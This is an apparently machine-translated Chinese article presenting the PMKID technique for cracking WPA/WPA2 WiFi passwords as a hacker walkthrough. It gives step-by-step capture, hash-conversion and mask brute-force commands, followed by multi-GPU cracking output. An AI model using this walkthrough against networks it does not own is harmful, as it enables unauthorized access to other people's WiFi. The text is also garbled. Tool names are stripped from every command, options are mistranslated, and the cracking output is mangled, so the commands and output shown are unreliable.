利用神器hcxdumptool来破解wifi密码

利用神器hcxdumptool来破解wifi密码

在这篇文章中，我将介绍一种破解WPA PSK（预共享密钥）密码的新技术。

针对 WiFi 黑客的新攻击方法被发现可以破解 WiFi 网络中受 WPA/WPA2 保护的 WiFi 密码，从而使攻击者能够获取用于破解目标受害者使用的 Wifi 密码的预共享密钥哈希。

这种新的 WiFi 黑客方法是在针对最近发布的 WPA3 安全标准的攻击中发现的，该标准非常难以破解，因为它使用现代密钥建立协议同步身份验证 (SAE)。

Wi-Fi联盟发布的新WP3安全标准为下一代Wi-Fi安全提供了增强个人和企业网络的新功能，同时新的WP3安全标准作为WPA2的后继者。

研究人员发现，这次针对 WiFi 黑客的攻击在未执行 EAPOL 4 次握手的情况下泄露了 WPA/WPA2 密码。

据该密码破解工具的开发者称，新的攻击是在RSN IE（鲁棒安全网络信息元素）的单个EAPOL框架中进行的。

此外，这种攻击适用于所有类型的启用漫游的 802.11i/p/q/r 网络，目前尚不清楚有多少供应商和多少路由器可以使用该技术。

WiFi 黑客的 WPA/WPA2 WiFi 破解密码攻击如何运作

鲁棒安全网络信息元素 (RSN IE) 是 802.11 管理框架内的一个可选框架，在单个 EAPOL 框架内工作。

每当用户尝试通过路由器进行身份验证时，都可以从 RSN IE 捕获成对主密钥 ID (PMKID)。

”这里我们可以看到，已经捕获的PMKID是使用HMAC-SHA1计算出来的，其中密钥是PMK，数据部分是固定字符串标签“PMK Name”，接入点的MAC地址和MAC站串联。地址。”

为了利用这种新的攻击，作为 WiFi 黑客，您将需要以下工具：

WiFi 黑客攻击 – 步骤 1

首先运行从 AP 获取 PMKID，然后使用以下代码将文件转储为 PCAP 格式。

$ ./ -o 测试。 -我 -

输出如下所示：

开始（按 ctrl+c 停止）

：………………：

…………：0

苹果…………： （）

MAC点…………：（启动网卡）

EAPOL…………：20000

拉瓦尔：10

放弃：20次尝试

…………：62083

……………….:

WiFi 黑客攻击 – 第 2 步

运行名为的下一个工具并使用以下代码将捕获的数据从格式转换为可接受的哈希格式。

$ ./ -z test.16800 测试。

写入文件的内容如下所示，分为 4 列。

PMKID * MAC AP * MAC * ESSID

** **

此外，建议 WiFi 黑客使用 -E -I 和 -U 选项，尽管不是必需的。 我们可以使用这些文件来提供。它们通常会产生良好的结果

$ ./ -E -I -U -z test.16800 测试。

步骤3

最后，要运行破解它，我们需要使用哈希模式 PMKID -16800，我们可以使用以下代码将此哈希用作任何其他哈希类型，

$ ./ -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

最后，它破解了哈希WPA-PMKID-

(v4.2.0) …

#1: ========================================* #1: GTX 1080, 2028/ 8112 MB , 20MCU* #2: GTX 1080, 2029/8119 MB , 20MCU* #3: GTX 1080, 2029/8119 MB , 20MCU* #4: GTX 1080, 2029/8119 MB , : 1 ; 1 , 1 : 16 位，65536 ，掩码，字节，5/13 :* 零字节* -Hash* -Salt* Brute-Force* Slow-Hash-SIMD- by : by : : 中止设置为 ***: ！…………。

：…………。 。 : 。 类型……。 。 ：WPA-PMKID-。 ……：**89acf…… …… 。 ：2018 年 7 月 26 日星期四 12:51:38（41 秒）时间。 …：2018 年 7 月 26 日星期四 12:52:19（0 秒）猜猜。 面具…。 ：？l？l？l？l？l？lt！ [8]你猜。 队列...：1/1 (100.00%)速度。 开发。 #1.... 。 ：408.9 kH/s (103.86ms) @ 加速：64 循环：128 Thr：1024 Vec：。 开发。 #2.... 。 ：408.6 kH/s (104.90ms) @ 加速：64 循环：128 Thr：1024 Vec：。 开发。 #3…。 。 ：412.9 kH/s (102.50ms) @ 加速：64 循环：128 Thr：1024 Vec：。

开发。 ＃4……。 。 ：410.9 kH/s (104.66ms) @ 加速：64 循环：128 Thr：1024 Vec：。 开发。 #*.... 。 ：1641。3千赫/……。 。 ：1/1（100.00%）、1/1（100.00%）…………：/（21.64%）…………：0/（0.00%）。 观点…。 ：0/（0.00%）。 #1.... ：！ -> !. #2.... ：！ -> !. #3…。 ：！ -> !. ＃4……。 ：！ -> !HWMon。 开发。 #1.... 。 ：温度：81c 风扇：54% 利用率：75% 核心：内存：总线：。 开发。 #2…。 。 ：温度：81c 风扇：54% 利用率：100% 核心：内存：总线：。

开发。 #3…。 。 ：温度：81c 风扇：54% 利用率：94% 核心：内存：总线：。 开发。 #4……。 。 : 温度: 81c 风扇: 54% 利用率: 93% 核心: 内存: 总线:: 7 月 26 日星期四 12:51:30 : 2018 年 7 月 26 日星期四 12:52:21

当我们查看之前对 WiFi 黑客起作用的 WiFi 黑客攻击时，我们需要坐下来等待目标用户稍后登录，我们可以通过捕获四次握手来破解密钥。

为了能够访问 PMKID，这种新的攻击只需要尝试对无线网络进行身份验证，之后我们就可以代表 WiFi 黑客轻松破解 WiFi 密码和预共享密钥。

此外，这种方法可以更轻松地访问包含预共享密钥的哈希值，并且稍后该哈希值将被破解，从而使这种攻击变得复杂，具体取决于密码的复杂性。